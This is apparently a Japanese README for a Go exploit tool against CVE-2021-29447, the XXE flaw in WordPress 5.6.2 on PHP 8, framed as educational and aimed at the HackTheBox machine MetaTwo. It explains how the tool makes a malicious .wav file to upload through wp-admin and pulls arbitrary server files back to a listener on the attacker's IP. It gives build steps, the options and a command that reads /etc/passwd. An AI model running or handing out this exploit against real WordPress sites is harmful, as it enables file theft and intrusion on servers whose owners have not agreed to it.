
教育目的のみです。
このエクスプロイトは、wordpress 5.6.2 と php8 が動作しているサーバーから任意のファイルを取得するための、非常に便利なツールです。(参照: https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5)
必要なのは、基本的な wp-admin アクセスと、メディアファイルをアップロードできる権限だけです。
このエクスプロイトは、wp-admin を使ってアップロードするための .wav ファイルペイロードを生成します。
その後、エクスプロイトのバックサーバーを利用して、コンソール上で直接ファイルを取得できます。
理想的な利用例は、HackTheBox のマシン - metatwo https://www.hackthebox.com/machines/metatwo です。

$ go build
$ chmod +x exploit_cve-2021-29447
$ ./exploit_cve-2021-29447 --help
Usage of ./exploit_cve-2021-29447:
-local-server-ip string
Use local server ip where a local server will be set
-local-server-port int
Use local server port to run local server on
-o string
Output file to save exploit's result
-target-path string
Use target path to point on file you want to get from target server
$ ./exploit_cve-2021-29447 -local-server-ip=<your ip address> -target-path=/etc/passwd